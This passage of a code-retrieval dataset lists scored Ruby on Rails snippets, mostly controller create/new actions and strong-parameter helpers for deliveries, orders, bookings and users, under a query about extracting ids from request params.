"title": "" }, { "docid": "d697edec6187f1b844c780bc5a070534", "score": "0.6307297", "text": "def delivery_params\n params.require(:delivery).permit()\n end", "title": "" }, { "docid": "0fa91819095268811fa3ab2638737c53", "score": "0.63068277", "text": "def create\n @delivery_slip = DeliverySlip.new(delivery_slip_params)\n\n respond_to do |format|\n if @delivery_slip.save\n format.html { redirect_to @delivery_slip, notice: 'Delivery slip was successfully created.' }\n format.json { render :show, status: :created, location: @delivery_slip }\n else\n format.html { render :new }\n format.json { render json: @delivery_slip.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ea17fc11f8422d27a931a4d5258d28e1", "score": "0.6287205", "text": "def create\n @info_purchase_order = InfoPurchaseOrder.new(info_purchase_order_params)\n\n respond_to do |format|\n if @info_purchase_order.save\n format.html { redirect_to @info_purchase_order, notice: 'Info purchase order was successfully created.' }\n format.json { render :show, status: :created, location: @info_purchase_order }\n else\n format.html { render :new }\n format.json { render json: @info_purchase_order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6688cb35d3557ee37b271d2d54c6cf71", "score": "0.6282631", "text": "def delivery_params\n params.require(:delivery).permit(:delivery_date, :is_return, :delivery_person_id, :order_id, :user_id)\n end", "title": "" }, { "docid": "d71a62c821b44b57b6cd27992d32a85d", "score": "0.6277566", "text": "def create\n @delivery = Delivery.new(delivery_params)\n @user = current_user\n @orders = Order.all\n @order = @user.orders.all if @user\n @slot = Slot.all\n @appointment = Appointment.all\n @day = Day.all\n\n respond_to do |format|\n @delivery.user_id = current_user.id\n @delivery.user_packnum = current_user.rsos_num\n #@slotid = @slot.id\n if @delivery.save\n #note add this to url for sched orders/#{@oid}/deliveries\"\n #Appointment.create!(:delivery_id => @delivery.id, :slot_id => @delivery[:appt_id])\n Appointment.create!(:slot_id => @delivery[:appt_id])\n format.html { redirect_to url_for(:controller => :schedules, :id => params[:order_id], :action => :new), notice: 'delivery was successfully created.' }\n format.json { render :show, status: :created, location: @delivery }\n else\n format.html { render :new }\n format.json { render json: @delivery.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "78ead782153d4e2d78600a7b833e8356", "score": "0.62722266", "text": "def delivery_params\n params.require(:delivery).permit(:address, :phone, :order_id, :delivery_id, :slot_id, :order_qty)\n end", "title": "" }, { "docid": "eef171a4696fdd72588055ad82240c7b", "score": "0.62713087", "text": "def create\n @store_manager_policies_delivery = Store::Manager::Policies::Delivery.new(params[:store_manager_policies_delivery])\n\n respond_to do |format|\n if @store_manager_policies_delivery.save\n format.html { redirect_to @store_manager_policies_delivery, notice: 'Delivery was successfully created.' }\n format.json { render json: @store_manager_policies_delivery, status: :created, location: @store_manager_policies_delivery }\n else\n format.html { render action: \"new\" }\n format.json { render json: @store_manager_policies_delivery.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2a9c6f5cf2f7881a521e548679bfdca1", "score": "0.6267005", "text": "def create\n @delivery = Delivery.new(params[:delivery])\n\n respond_to do |format|\n if @delivery.save\n format.html { redirect_to([:admin,@delivery], :notice => 'Delivery was successfully created.') }\n format.xml { render :xml => @delivery, :status => :created, :location => @delivery }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @delivery.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4989ad514c8b6f7226a7afebf21b87a0", "score": "0.6265426", "text": "def create\n @delivery_person = DeliveryPerson.new(delivery_person_params)\n\n respond_to do |format|\n if @delivery_person.save\n format.html { redirect_to @delivery_person, notice: 'Delivery person was successfully created.' }\n format.json { render :show, status: :created, location: @delivery_person }\n else\n format.html { render :new }\n format.json { render json: @delivery_person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7e9c2869cd46c8334a277fca1c698df2", "score": "0.6260531", "text": "def create\n @store_indices_delivery = Store::Indices::Delivery.new(params[:store_indices_delivery])\n\n respond_to do |format|\n if @store_indices_delivery.save\n format.html { redirect_to @store_indices_delivery, notice: 'Delivery was successfully created.' }\n format.json { render json: @store_indices_delivery, status: :created, location: @store_indices_delivery }\n else\n format.html { render action: \"new\" }\n format.json { render json: @store_indices_delivery.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4b22a8d27e90db834cb7498a17ef8937", "score": "0.6252387", "text": "def create\n created = Delivery::Create.call(params, current_dealer, transaction_params)\n log = ActionLog.new\n log.transaction_id = created.id\n log.user_id = current_dealer.id\n log.user_name = current_dealer.email\n log.action = \"Order created\"\n log.date_time = DateTime.now\n log.save\n respond_to do |format|\n if created\n format.html { redirect_to transaction_transaction_details_path(created), notice: t('forms.created', model: Transaction.model_name.human) }\n format.json { render :show, status: :created, location: @transaction }\n else\n format.html { render :new }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d8d07edf9d4c148dda5bd1d652e86a7d", "score": "0.62520176", "text": "def delivery_params\n params.require(:delivery).permit(:user_id, :customer_id, :date, :precedence, :complete, :travel_time)\n end", "title": "" }, { "docid": "9cd8a415936aed1dbfb2a7bf51990590", "score": "0.6238659", "text": "def create\n @order_item_detail = OrderItemDetail.new(params[:order_item_detail])\n\n respond_to do |format|\n if @order_item_detail.save\n format.html { redirect_to @order_item_detail, notice: 'Order item detail was successfully created.' }\n format.json { render json: @order_item_detail, status: :created, location: @order_item_detail }\n else\n format.html { render action: \"new\" }\n format.json { render json: @order_item_detail.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b79e67238cb4e5d99b5ec6fc8ab239aa", "score": "0.6235251", "text": "def create\n @version = Version.find(params[:version_id])\n @delivery = Delivery.new(params[:delivery])\n @delivery.version = @version\n respond_to do |format|\n if @delivery.save\n format.html { redirect_to project_version_path(@version.project.id, @version.id) , notice: 'Delivery was successfully created.' }\n format.json { render json: @delivery, status: :created, location: @delivery }\n else\n format.html { redirect_to project_version_path(@version.project.id, @version.id) }\n format.json { render json: @delivery.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a3db4626964349986ea7835060b66756", "score": "0.6234162", "text": "def delivery_params\n params.require(:delivery).permit(:pick_up_date, :name, :user_id)\n end", "title": "" }, { "docid": "d3051f99650004f1d8082ec8b089f8ac", "score": "0.6231858", "text": "def new\n @title = \"New way\"\n @deliver_pay = DeliverPay.new\n @order = Order.find(params[:order_id])\n @flight = Flight.find(@order.flight_id)\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @deliver_pay }\n end\n end", "title": "" }, { "docid": "883d5f824cf130e300ac7830652868ad", "score": "0.6228089", "text": "def create\n @billing_detail = BillingDetail.new(billing_detail_params)\n\n respond_to do |format|\n if @billing_detail.save\n format.html { redirect_to @billing_detail, notice: 'Billing detail was successfully created.' }\n format.json { render :show, status: :created, location: @billing_detail }\n else\n format.html { render :new }\n format.json { render json: @billing_detail.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "128ee8fcfa6302111a77ed5ff09d48ec", "score": "0.6216093", "text": "def delivery_params\n params.require(:delivery).permit(:customer_id, :cart_id, :adress, :zip, :city, :payed, :shipped, :order_date)\n end", "title": "" }, { "docid": "666662ef37d44c86f3fa5d46de53e350", "score": "0.62067384", "text": "def delivery_slip_detail_params\n params.require(:delivery_slip_detail).permit(:amount, :unit, :product_id, :delivery_slip_id)\n end", "title": "" }, { "docid": "b8595b7d07f0a2600c5ea55977324bc8", "score": "0.6205688", "text": "def delivery_params\n params[:delivery]\n end", "title": "" }, { "docid": "d58ab02ad965fa6f1ad0ceb96d50db50", "score": "0.619618", "text": "def create\n @service_order_detail = ServiceOrderDetail.new(service_order_detail_params)\n\n respond_to do |format|\n if @service_order_detail.save\n format.html { redirect_to @service_order_detail, notice: 'Service order detail was successfully created.' }\n format.json { render :show, status: :created, location: @service_order_detail }\n else\n format.html { render :new }\n format.json { render json: @service_order_detail.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0f6b4bccd611a0d5f4478b96e81840a9", "score": "0.61898804", "text": "def create\n # authorize\n authorize! :create, DeliveryMethod\n @delivery_method = DeliveryMethod.new(delivery_method_params)\n \n respond_to do |format|\n if @delivery_method.save\n format.html { redirect_to edit_admin_delivery_method_path(@delivery_method.id), notice: 'Tạo mới hình thức vận chuyển thành công.' }\n format.json { render :show, status: :created, location: @delivery_method }\n else\n format.html { render :new }\n format.json { render json: @delivery_method.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0b9802ab055b203ff9500508eae8420e", "score": "0.61868703", "text": "def create\n @flight = Flight.find(params[:flight_id])\n\n if booking_params[:expedia] == \"true\"\n endpoint = \"/receivers/2GrdVHzXyLwadFn6KlEuNMh7DBm/deliver.json\"\n amount = (@flight.price * 100).to_i\n params = {\n \"delivery\": {\n \"payment_method_token\": @payment_method_token,\n \"url\": \"https://spreedly-echo.herokuapp.com\",\n \"headers\": \"Content-Type: application/json\",\n \"body\": \"{ \\\"amount\\\": #{amount}, \\\"card_number\\\": \\\"{{credit_card_number}}\\\" }\"\n }\n }\n else\n endpoint = \"/gateways/ZqbGct8x6h9ud8ocm69BTaUvc0l/purchase.json\"\n params = {\n \"transaction\": {\n \"payment_method_token\": @payment_method_token,\n \"amount\": @flight.price * 100,\n \"currency_code\": \"USD\",\n \"retain_on_success\": booking_params[:retain_on_success] == 'retain'\n }\n }\n end\n\n data = helpers.spreedly_post(endpoint, params)\n @transaction_data = data['transaction']\n if @transaction_data['succeeded']\n bp = booking_params\n bp[\"transaction_token\"] = @transaction_data[\"token\"]\n bp.delete(:payment_method_id)\n bp.delete(:expedia)\n bp.delete(:retain_on_success)\n @booking = Booking.new(bp)\n\n # If the customer has opted-in to save the payment method, also save a record of it in the local db.\n # Only the token is really necessary, because we wil retrieve the entire payment method for the new booking form.\n if @transaction_data['payment_method']['storage_state'] == 'cached' && booking_params[:payment_method_id] == \"\" && booking_params[:retain_on_success] == 'retain'\n payment_method_params = {\n \"token\": @transaction_data['payment_method']['token'],\n \"last_four_digits\": @transaction_data['payment_method']['last_four_digits'],\n \"full_name\": @transaction_data['payment_method']['full_name']\n }\n payment_method = PaymentMethod.new(payment_method_params)\n payment_method.save\n end\n\n # Save transaction token since, like payment methods, we wil retrieve the entire transaction for the index method/\n transaction_params = {\n \"token\": @transaction_data['token']\n }\n transaction = Transaction.new(transaction_params)\n transaction.save\n\n respond_to do |format|\n if @booking.save\n format.html { redirect_to flight_booking_path(@booking.flight_id, @booking), notice: \"Booking was successfully created.\" }\n format.json { render :show, status: :created, location: @booking }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n else\n bp = booking_params\n bp.delete(:payment_method_id)\n bp.delete(:expedia)\n bp.delete(:retain_on_success)\n @booking = Booking.new(bp)\n @booking.errors[:base] << transaction_data['message']\n payment_method_tokens = PaymentMethod.all\n @payment_methods = []\n payment_method_tokens.each do |payment_method|\n full_payment_method = PaymentMethod.fetch_by_token(payment_method.token)\n full_payment_method[\"payment_method_id\"] = payment_method[\"id\"]\n @payment_methods.push(full_payment_method)\n end\n respond_to do |format|\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7f1af45a94b4aac3ae538d971030afd5", "score": "0.6185488", "text": "def new\n @project= Project.find(params[:project_id]) if params[:project_id]\n @delivery = @project ? @project.deliveries.build : Delivery.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @delivery }\n end\n end", "title": "" } ]
1ad8bbca0878681d87ae152c76b5ba4a
Get ids from the params object, like :user_id, and turn them into
[ { "docid": "091e5ca546b6408ff22b1903672c825b", "score": "0.0", "text": "def get_object_references\n @user = (User.find(params[:user_id]) if params[:user_id]) ||\n (User.find(params[:user][:id]) if params[:user] && params[:user][:id]) ||\n current_user\n @post = Micropost.find(params[:micropost_id]) if params[:micropost_id]\n end", "title": "" } ]
[ { "docid": "6465094a82ca20e4f372729e37341c36", "score": "0.8014072", "text": "def convert_ids!(params)\n user_ids = []\n screen_names = []\n ids = [params.delete(:ids)] || []\n ids.flatten.each {|id|\n if id.is_a? Integer\n user_ids << id\n elsif id.is_a? String\n screen_names << id\n elsif id.is_a? User\n if id.id\n user_ids << id.id\n elsif id.screen_name\n screen_names << id.screen_name\n end\n end\n }\n params[:user_id] = user_ids.join \",\" unless user_ids.empty?\n params[:screen_name] = screen_names.join \",\" unless screen_names.empty?\n params\n end", "title": "" }, { "docid": "06340797027906ecc4ab6320527585eb", "score": "0.7455194", "text": "def convert_ids(params)\n convert_ids!(params.clone)\n end", "title": "" }, { "docid": "351f9498b335ef26bcee4de559641db1", "score": "0.7414198", "text": "def id_params\n ids = params[:id]\n ids = ids.join(',') if ids.is_a?(Array)\n ids.to_s.split(/\\s*,\\s*/)\n end", "title": "" }, { "docid": "0aabd93825f21e8bc76f44c6312d1cdb", "score": "0.7028279", "text": "def set_ids\n @ids = params[:ids].split(\",\")\n end", "title": "" }, { "docid": "2d112736dfc683c6bfb86a255c19f6e0", "score": "0.6830694", "text": "def users_by_params\n all_users.where(id: user_ids).to_a\n end", "title": "" }, { "docid": "24b32cd45a0eb996489ef2460c6b4df5", "score": "0.68012565", "text": "def extract_user_ids\n User.all.map do |user|\n user.id\n end\nend", "title": "" }, { "docid": "e7b517b3c6265ea6f34add87f50582ce", "score": "0.6793191", "text": "def build_user_ids(data)\n\t\tids = []\n\t\tdata.collect do |x|\n\t\t\tids << x[:user_id] if !ids.include?(x[:user_id])\n\t\tend\n\t\tids\n\tend", "title": "" }, { "docid": "a7f49feaef972f694e4c2a1afda49d7f", "score": "0.6783022", "text": "def arrayify_ids_fields_in_params\n %w(community_ids list_ids).each do |ids_field|\n if params[:item][ids_field].present? && params[:item][ids_field].is_a?(String)\n params[:item][ids_field] = params[:item][ids_field].split(',')\n end\n end\n end", "title": "" }, { "docid": "d10a2c804e50f8c34f5b8af6b220c095", "score": "0.66291463", "text": "def to_player_ids\n params[:player_ids].flatten.reject(&:blank?)\n end", "title": "" }, { "docid": "75a73798c0c1a21467e287306705b727", "score": "0.66279286", "text": "def ids_list(other_attrs=[])\n other_attrs = Array(other_attrs) unless other_attrs.is_a?(Array)\n other_attrs.each do |attr_key|\n return Array(params[attr_key]) if params.include?(attr_key)\n end\n if params[:id].present?\n return Array(params[:id])\n elsif params[:ids].present?\n return Array(params[:ids])\n end\n end", "title": "" }, { "docid": "f2fa91879a47444435857d5d39d5f3cf", "score": "0.66155803", "text": "def cast_ids_to_i(params)\n ids = []\n ids << params[\"id\"].to_i if !params[\"id\"].nil?\n if !params[\"ids\"].nil?\n params[\"ids\"].each do |id|\n next if id.to_i == 0 # Special case: all selected\n ids << id.to_i\n end\n end\n ids\n end", "title": "" }, { "docid": "1d1bbc8c747d6ed71c3f212e64f1e630", "score": "0.6592758", "text": "def get_ids(user_list)\n (user_list||[]).collect(&:id).join(',')\n end", "title": "" }, { "docid": "fe01cee50188929c35763fdc69951c34", "score": "0.6590279", "text": "def extract_params( id, params )\n params, id = id, id[ :id ] || id[ \"id\" ] if !params && !id.respond_to?( :to_model_id )\n\n if params\n params = params.symbolize_keys if params.respond_to?( :symbolize_keys )\n params[ :id ] ||= id\n end\n\n [ id, params ]\n end", "title": "" }, { "docid": "c5945284eca6e310f27920cf043956ae", "score": "0.6574965", "text": "def userids\n each_userid.to_a\n end", "title": "" }, { "docid": "78d32a2a3f7efa48abbbb06c3e9c3ea6", "score": "0.65464264", "text": "def user_ids\n users.select(:id).pluck(:id)\n end", "title": "" }, { "docid": "b924508d2b9a28d551ed3932f1b735e4", "score": "0.6542139", "text": "def santize_ids\n (params[:ids] || []).split(',').flatten.map(&:to_i).reject{|x| x == 0}.compact\n end", "title": "" }, { "docid": "1a2ea6a39f1f1a8e80d7d3dbd3d11646", "score": "0.6511804", "text": "def get_id_array(user)\n\t\tid_array = []\n\t\tuser.songs.each do |song|\n\t\t\tid_array << song.songid\n\t\tend\n\t\tid_array\n\tend", "title": "" }, { "docid": "6aca1a0ecc86d9e8c0d02fa8014d578c", "score": "0.6472012", "text": "def _ids *str\n _ids_to_usernames.keys\n end", "title": "" }, { "docid": "d6010605f86ba531d3d8fc5382e24957", "score": "0.6410786", "text": "def user_ids\n @attributes[:user_ids]\n end", "title": "" }, { "docid": "d6010605f86ba531d3d8fc5382e24957", "score": "0.6410786", "text": "def user_ids\n @attributes[:user_ids]\n end", "title": "" }, { "docid": "d6010605f86ba531d3d8fc5382e24957", "score": "0.6410786", "text": "def user_ids\n @attributes[:user_ids]\n end", "title": "" }, { "docid": "701181ee6b2d6a133e3cf3d06c1a04c0", "score": "0.63956404", "text": "def process_ids ids\n case ids\n when Range\n return id_range_to_s(ids)\n when Array\n return id_a_to_s(ids)\n when String\n return ids.delete(\" \")\n when Fixnum\n return ids\n end\n end", "title": "" }, { "docid": "c772e84ad77fa4d86399bb6f8af53f58", "score": "0.6381032", "text": "def usernames_to_ids\n @usernames_to_ids ||= _ids_to_usernames.invert\n end", "title": "" }, { "docid": "ffce87ad5a4e5e15c2cf1d7281a56d05", "score": "0.63550395", "text": "def user_ids=(value)\n super value.join.split(',')\n end", "title": "" }, { "docid": "079e669dcc43615c64c0960b81e6a5b2", "score": "0.6321353", "text": "def user_ids\n galaxy_users.pluck(:userid)\n end", "title": "" }, { "docid": "f15b46f66c2d25795ecfdd33937e6326", "score": "0.63009", "text": "def interesting_user_ids\n interesting_users.select(\"#{User.quoted_table_name}.id\").map(&:id)\n end", "title": "" }, { "docid": "1318a9dfea781000414aa19ed6fa19cb", "score": "0.6288139", "text": "def params_subject_ids\n # New comma-separated format\n h = params[:dsid_names].presence\n return h.split(\",\") if h.is_a?(String)\n # From flat file\n if h.nil?\n return File.read(\"dsid_names.lst\").split(/[\\s,]+/)\n end\n # Old hash table format\n dsids = h.values\n params[:dsid_names] = dsids.join(\",\") # adjust to new convention\n dsids\n end", "title": "" }, { "docid": "d7334e7d71dfbbf94dd0740d989514b8", "score": "0.6267732", "text": "def get_ids\n @fields.map(& :id)\n end", "title": "" }, { "docid": "73377ce9e94a090a85183d6352cbd5f8", "score": "0.6265175", "text": "def compile_user_ids_string(users)\n user_list = ''\n users.each_with_index do |user, i|\n fail unless user.id\n user_list += '&' if i > 0\n user_list += \"user_ids[#{i}]='#{user.id}'\"\n end\n user_list\n end", "title": "" }, { "docid": "05cf056f2390aa5ff8407dc56b16c0d1", "score": "0.6250504", "text": "def extract_ids(data)\n data.to_s.scan(/:id=>(\\d+)/).flatten.map(&:to_i)\nend", "title": "" }, { "docid": "54a3fde0e5ab966dd54c2e638fdcd24b", "score": "0.62220824", "text": "def multiple_select_ids(model_name)\n model_key = model_name.to_sym\n ids_key = \"#{model_name}_ids\".to_sym\n ids = []\n if params[model_key]\n if params[model_key][ids_key]\n unless params[model_key][ids_key].empty?\n ids = params[model_key][ids_key]\n end\n end\n end\n ids.each_with_index do |value, i|\n ids[i] = value.to_i\n end\n ids.delete_if { |value| value.zero? }\n \n return ids\n end", "title": "" }, { "docid": "04c2c4f2a52859bb8ed77315f4490428", "score": "0.6209294", "text": "def alluser_ids\n \"#{User.all.pluck(:id).join(',')},#{current_user.id}\"\n end", "title": "" }, { "docid": "bd3f02bb0d57d5070c2498fd47fe4ac0", "score": "0.61996806", "text": "def prepare_ids_query work_items_array\n 'ids=' + work_items_array.map do |value|\n value['id']\n end.join(',')\n end", "title": "" }, { "docid": "325aeb9f941cc5d0fcca76eb011b20d4", "score": "0.61763436", "text": "def category_ids_param_to_array\n if params and params[:quotation] and\n params[:quotation][:category_ids] and\n params[:quotation][:category_ids].kind_of?(Array) and\n params[:quotation][:category_ids][0].present? and\n params[:quotation][:category_ids][0].is_a?(String)\n params[:quotation][:category_ids] = params[:quotation][:category_ids][0].split(\",\")\n end\n end", "title": "" }, { "docid": "28d5e7b71c9a1059b3d47c909e8c85ba", "score": "0.6167427", "text": "def get_user_by_id_list\n @ulist = []\n if params[:uids].nil?\n badparams(\"uids\")\n else\n params[:uids].split(\",\").each do |item|\n u = User.find(item)\n if !(u.nil?)\n @ulist << u\n end\n\n end\n render json: @ulist\n end\n end", "title": "" }, { "docid": "6dedc3f1184b2ab248f81c91ee7f2cb8", "score": "0.61459357", "text": "def user_tokens= ids\n self.user_ids = ids.split(',')\n end", "title": "" }, { "docid": "369dbcfc096c6f6aa668b614f2dc960e", "score": "0.61347103", "text": "def get_all_id_list\n res = []\n User.all.each do |user|\n res.append(user.id)\n end\n res\n end", "title": "" }, { "docid": "b7e73698beafb748e1a43f7c6027b890", "score": "0.6101528", "text": "def convert_ids_to_objects(is_ids_found=false,constant_name,hash_var_name)\n if is_ids_found\n ids_int_arr = params[:user_profile][hash_var_name].collect{ |id| id.to_i}\n unless ids_int_arr.nil? && ids_int_arr.empty?\n objects = Kernel.const_get(constant_name).send(:find, ids_int_arr)\n params[:user_profile].delete hash_var_name\n params[:user_profile][hash_var_name] = objects\n end\n end\n end", "title": "" }, { "docid": "809dad65f6e5ab44d2555a3967a9f7a6", "score": "0.6091433", "text": "def player_ids_to_team_ids(params_var)\n new_params = player_id_to_team_id(params_var, 'first')\n player_id_to_team_id(new_params, 'second')\n end", "title": "" }, { "docid": "0538a7b50ac29b7558f3161002c912f6", "score": "0.6075613", "text": "def ids_from_multi_select_grid_params\n params[:selection][:list].gsub(/\\[|\\]/, '').split(',').map { |r| r.to_i }\n end", "title": "" }, { "docid": "953b42c7d28c8cefb03a315c22edd684", "score": "0.60752124", "text": "def index\n\n params[:ids] ||= []\n params[:ids] << params[:id]\n params[:ids].uniq!\n\n @users = User.where(:_id.in => params[:ids])\n render status: 200\n\n end", "title": "" }, { "docid": "03357fe0a348e5823800d833b77badf6", "score": "0.6059887", "text": "def ids(things)\n things.map(&:id).join(\",\")\n end", "title": "" }, { "docid": "15c4f9750f03eb8fb2f4b7c4aa54d113", "score": "0.60252446", "text": "def user_ids\n array = Array.new\n\n self.each(\"USERS/ID\") do |id|\n array << id.text.to_i\n end\n\n return array\n end", "title": "" }, { "docid": "c7be2cf6862cae51dab4bb1ba3838d0f", "score": "0.60141397", "text": "def people_ids_to_array\n @people_ids_array ||= people_ids.present? ? people_ids.split(',').map { |x| x[/\\d+/] } - [0] : []\n end", "title": "" }, { "docid": "52e48b36889e340d0961cf935980c941", "score": "0.5966489", "text": "def game_round_params\n ids = params[:user_ids]\n params[:user_ids] = JSON.parse ids if ids.is_a? String\n params.permit(:name, user_ids: [])\n end", "title": "" }, { "docid": "453d5a4499e504b1a242021c520b5e13", "score": "0.59548336", "text": "def parse_ids_from_query_string(query_string)\n [].tap do |ids|\n CGI.parse(query_string)['id[]'].each do |id|\n ids << Integer(id, 10) rescue ArgumentError\n end\n end\nend", "title": "" }, { "docid": "143e9b246f7eadcd042a4ef5f7d22931", "score": "0.59373313", "text": "def organize_ids(ids); end", "title": "" }, { "docid": "a7647f84da8e9f12a3804f69c981b158", "score": "0.59342766", "text": "def ad_check_ids\n if (params[:ids].blank? && params[:id].present?)\n ids = params[:id]\n else\n ids = params[:ids]\n end\n ids\n end", "title": "" }, { "docid": "156e88ce54c312505a6921d81a562934", "score": "0.5933493", "text": "def map_raw_ids( ids )\n ids ||= []\n ids = ids.values if ( ids.class == Hash or ids.class == HashWithIndifferentAccess )\n ids.map { | str | str.to_i }\n end", "title": "" }, { "docid": "0c79335dd5c554c8c4627cd252f8e86f", "score": "0.59276325", "text": "def get_accessible_user_ids(user) \n ids = []\n ids << user.id.to_s\n tickets = user.tickets\n \n tickets.each do |t| \n t.users.each do |u| \n if !ids.include? u.id.to_s\n ids << u.id.to_s\n end \n end\n end\n ids\n end", "title": "" }, { "docid": "9cc52c652801d1feb2db45cf98287a06", "score": "0.5909355", "text": "def user_ids\n @user_ids\n end", "title": "" }, { "docid": "3e8d4946ea91bcf79f0b0157b0897586", "score": "0.5905689", "text": "def parameters_to_args\n @attributes.except(:id).map {|k,v| \"#{k.to_s}=#{CGI.escape(v.to_s.gsub(/\\'/,'').gsub(/\\\"/,''))}\"}.join(\"&\")\n end", "title": "" }, { "docid": "591f5f333d4916ad15c5e646f57ccf03", "score": "0.5902112", "text": "def user_ids\n users.collect(&:id).flatten.compact.uniq\n end", "title": "" }, { "docid": "ffe5a144673649b5a28ef9d706405b0f", "score": "0.58834016", "text": "def parent_ids\n params.keys.select { |k| k =~ /\\_id$/ }\n end", "title": "" }, { "docid": "9f2658c9e61e1e010bcdc62eddaf9ea6", "score": "0.58810544", "text": "def user_tokens=(ids)\n self.user_ids = ids.split(\",\")\n end", "title": "" }, { "docid": "199910060533502437449f69f8a22527", "score": "0.58721524", "text": "def identifize_filters(params)\n params = params.dup\n filters = params.find_all {|_, value| value.respond_to? :id }\n filters.each do |key, value|\n reflection = reflections[key.to_sym]\n params[reflection.foreign_key.to_sym] = params.delete(key) if reflection\n end\n params\n end", "title": "" }, { "docid": "7467aa65ae2b3bc6aa1c969ed595ed72", "score": "0.58600366", "text": "def ids_str_to_array(string)\n string.first.split ','\n end", "title": "" }, { "docid": "8d11b6ddb914e36e85598f1d8f98510c", "score": "0.585224", "text": "def sanitize_id_parameter(id)\n Array(id).flatten.join(',').gsub(/\\s/, '')\n end", "title": "" }, { "docid": "8111f66748d6f07f503c14b92c77e61b", "score": "0.58416826", "text": "def users_to_merge\n if params[:users_to_merge]\n @users_to_merge = params[:users_to_merge].map { |user_id| User.find(user_id) }\n end\n end", "title": "" }, { "docid": "c36152577a31496a5232466de444fc24", "score": "0.5838181", "text": "def strings_to_object_ids(ids)\n if Array === ids\n ids.map {|id| string_to_object_id(id) }\n else\n string_to_object_id(ids)\n end\n\n end", "title": "" }, { "docid": "c36152577a31496a5232466de444fc24", "score": "0.5838181", "text": "def strings_to_object_ids(ids)\n if Array === ids\n ids.map {|id| string_to_object_id(id) }\n else\n string_to_object_id(ids)\n end\n\n end", "title": "" }, { "docid": "93c090410e46653a90fa2f0dc2bf6f18", "score": "0.581057", "text": "def ids\n map { |x| x.id }\n end", "title": "" }, { "docid": "8d6cb91edb75388fb9a754f17097f75f", "score": "0.58093584", "text": "def parse_state_params\n if params[:user][:state_ids].present? && params[:user][:state_ids].first.class == String\n # Districts can come in as a list of district ids (as a comma-separated string)\n # In that case, separate it into an array of objects\n\n if params[:user][:state_ids].first == \"[]\"\n params[:user][:state_ids] = nil\n else\n params[:user][:state_ids] = params[:user][:state_ids].first.split(',')\n end\n end\n end", "title": "" }, { "docid": "538e3e66ecb59f66fb81dcf168bfb766", "score": "0.57884806", "text": "def convert_keys_to_id(params, *keys_to_change)\n return params if keys_to_change.nil? || params.nil?\n keys_to_change.each do |k|\n v = params.delete(k)\n params[(k.to_s << '_id').to_sym] = v unless v.blank? # resinsert value but with _id added to key\n end\n params\n end", "title": "" }, { "docid": "26609fb2d1a650b66ab2f2517798472b", "score": "0.5785871", "text": "def input_ids\n (read_attribute(:input_ids) || '').split(' ').map(&:to_i)\n end", "title": "" }, { "docid": "c423d0ddffce310943cc93f341e5d0b7", "score": "0.5785713", "text": "def user_ids\n\t\treturn @user_ids\n\tend", "title": "" }, { "docid": "b3533dec8a7aaa3ce1b157201e18b8d3", "score": "0.57739496", "text": "def user_tokens=(ids)\n\t self.user_ids = ids.split(\",\")\n\tend", "title": "" }, { "docid": "f3f33669b93e453c29c443f68a6bf2d8", "score": "0.5758914", "text": "def sanitize_ids(ids, klass)\n ids.map{ |id| klass.new(klass.primary_key => id).send(klass.primary_key) }.compact\n end", "title": "" }, { "docid": "c810fb91ec7ffaf0a8f42bb28540c54f", "score": "0.57524157", "text": "def object_ids\n ids\n end", "title": "" }, { "docid": "157daf66f8593256f8311b76c7da6eec", "score": "0.57505316", "text": "def ids( user )\n @ids = @client.follower_ids( user ).attrs['ids']\n end", "title": "" }, { "docid": "5bcd0d69988fc7df7bca3773bc529b85", "score": "0.5743261", "text": "def get_ids(filter)\n params = {\n filter: filter,\n output: 'extend',\n }\n return _query('get', params).map{|x|x[pk]}\n end", "title": "" }, { "docid": "430d46c557d304d71cd342e6aad07654", "score": "0.5743111", "text": "def friends_posts_ids\n array_of_ids = [id]\n array_of_ids << passive_friendships.accepted.pluck(:invited_by_id)\n array_of_ids << active_friendships.accepted.pluck(:invited_id)\n array_of_ids.flatten\n end", "title": "" }, { "docid": "b0bd6d9f5a65ded32fc359bc8e8ff329", "score": "0.57354385", "text": "def user_ids\n students.collect(&:user_id)\n end", "title": "" }, { "docid": "7d3f7b779ae8cbda2b91215af0891b71", "score": "0.57294637", "text": "def id_translate(id)\n #if the request is simple (integer, list or nil) return that\n return [] if id.empty?\n return [id.to_i] if id.match(/^\\d+$/)\n return [id] if id.match(/^[HI]-\\d+$/)\n ids = []\n id.split(/[,;]/).each do | i |\n if i.match(/^([HI]-)?\\d+$/)\n if i =~ /^[HI]/\n ids << i\n else\n ids << i.to_i\n end\n else\n start_rng, end_rng = i.split(/[^HI]-/)\n (start_rng..end_rng).each { | r | \n if r =~ /^[HI]/\n ids << r\n else\n ids << r.to_i \n end\n } \n end\n end\n return ids\n end", "title": "" }, { "docid": "d00911931628f0cd8f39da4742844f78", "score": "0.5715008", "text": "def username_ids\n username_hash.keys\n end", "title": "" }, { "docid": "1647e7f1d99144e50be3bb39a4214ac2", "score": "0.57117534", "text": "def parse_district_params\n if params[:user][:district_ids].present? && params[:user][:district_ids].first.class == String\n # Districts can come in as a list of district ids (as a comma-separated string)\n # In that case, separate it into an array of objects\n\n if params[:user][:district_ids].first == \"[]\"\n params[:user][:district_ids] = nil\n else\n params[:user][:district_ids] = params[:user][:district_ids].first.split(',')\n end\n end\n end", "title": "" }, { 